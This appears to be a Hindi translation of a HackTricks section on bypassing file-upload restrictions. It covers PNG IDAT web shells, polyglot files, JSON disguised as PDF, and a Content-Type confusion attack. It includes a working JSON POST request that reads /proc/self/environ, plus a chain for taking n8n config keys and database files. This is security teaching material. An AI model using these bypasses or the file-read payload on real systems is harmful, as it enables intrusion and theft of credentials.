PNG फ़ाइल के IDAT chunk में एक PHP shell एम्बेड करने से कुछ image processing ऑपरेशन्स को प्रभावी ढंग से bypass किया जा सकता है। PHP-GD के imagecopyresized और imagecopyresampled फ़ंक्शन्स इस संदर्भ में विशेष रूप से प्रासंगिक हैं, क्योंकि इन्हें सामान्यतः क्रमशः images को resize और resample करने के लिए उपयोग किया जाता है। इन ऑपरेशनों से अप्रभावित रहने की embedded PHP shell की क्षमता कुछ use cases के लिए महत्वपूर्ण लाभ है।

इस तकनीक की विस्तृत पड़ताल और इसके संभावित उपयोग नीचे दिए गए लेख में प्रदान किए गए हैं: “Encoding Web Shells in PNG IDAT chunks”. यह संसाधन प्रक्रिया और उसके निहितार्थों की व्यापक समझ प्रदान करता है।

अधिक जानकारी: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Polyglot Files

Polyglot files साइबर सुरक्षा में एक अनोखा उपकरण हैं, जो चैंमिलियन की तरह काम करते हुए एक साथ कई file formats में वैध रूप से मौजूद हो सकते हैं। एक रोचक उदाहरण GIFAR है, जो GIF और RAR archive दोनों के रूप में कार्य करता है। ऐसे files केवल इस संयोजन तक सीमित नहीं हैं; GIF और JS या PPT और JS जैसे संयोजन भी संभव हैं।

Polyglot files की मुख्य उपयोगिता इस बात में निहित है कि वे उन security measures को परे कर सकते हैं जो files को उनके type के आधार पर screen करते हैं। विभिन्न applications में आम प्रैक्टिस केवल कुछ file types को upload की अनुमति देना होती है—जैसे JPEG, GIF, या DOC—ताकि संभावित हानिकारक formats (उदा., JS, PHP, या Phar files) के खतरे को कम किया जा सके। हालांकि, एक polyglot, कई file types की structural criteria के अनुरूप होने के कारण, इन प्रतिबंधों को चुपके से bypass कर सकता है।

हालाँकि उनकी अनुकूलनीयता के बावजूद, polyglots को सीमाएँ भी मिलती हैं। उदाहरण के लिए, जबकि एक polyglot एक साथ PHAR file (PHp ARchive) और एक JPEG को embody कर सकता है, उसकी upload सफलता platform की file extension नीतियों पर निर्भर कर सकती है। यदि सिस्टम allowable extensions के लिए कड़ा है, तो केवल संरचनात्मक द्वैतता polyglot की upload सफलता सुनिश्चित करने के लिए पर्याप्त नहीं हो सकती।

अधिक जानकारी: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

PDF की तरह दिखाकर वैध JSON अपलोड करना

PDF फ़ाइल की नकल करके भी जब अनुमति न हो तब वैध JSON फ़ाइल अपलोड करके file type detection से कैसे बचें (techniques from this blog post):

  • mmmagic library: यदि %PDF magic bytes पहले 1024 bytes में मौजूद हैं तो इसे वैध माना जाता है (उदाहरण पोस्ट से देखें)
  • pdflib library: JSON के एक field के अंदर एक नकली PDF format जोड़ें ताकि library इसे pdf समझे (उदाहरण पोस्ट से देखें)
  • file binary: यह एक file से 1048576 bytes तक पढ़ सकता है। बस एक JSON बनाइए जो इससे बड़ा हो ताकि यह content को एक json के रूप में parse न कर सके और फिर JSON के भीतर वास्तविक PDF का प्रारंभिक भाग डाल दें और यह इसे PDF समझ लेगा

Content-Type confusion to arbitrary file read

Some upload handlers parsed request body पर भरोसा करते हैं (उदा., context.getBodyData().files) और बाद में Content-Type: multipart/form-data लागू किए बिना file.filepath से फ़ाइल कॉपी कर देते हैं। यदि server application/json स्वीकार करता है, तो आप एक नकली files ऑब्जेक्ट प्रदान कर सकते हैं जो filepath को किसी भी local path की ओर इंगित करे, जिससे upload flow एक arbitrary file read primitive बन जाता है।

HTTP response में अपलोड की गई binary वापस करने वाले form workflow के खिलाफ एक उदाहरण POST:

POST /form/vulnerable-form HTTP/1.1
Host: target
Content-Type: application/json

{
"files": {
"document": {
"filepath": "/proc/self/environ",
"mimetype": "image/png",
"originalFilename": "x.png"
}
}
}

बैकएंड file.filepath को कॉपी करता है, इसलिए प्रतिक्रिया उस पथ की सामग्री लौटाती है। सामान्य चेन: /proc/self/environ पढ़कर $HOME पता करें, फिर कुंजियों के लिए $HOME/.n8n/config और उपयोगकर्ता पहचानकर्ताओं के लिए $HOME/.n8n/database.sqlite

References

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें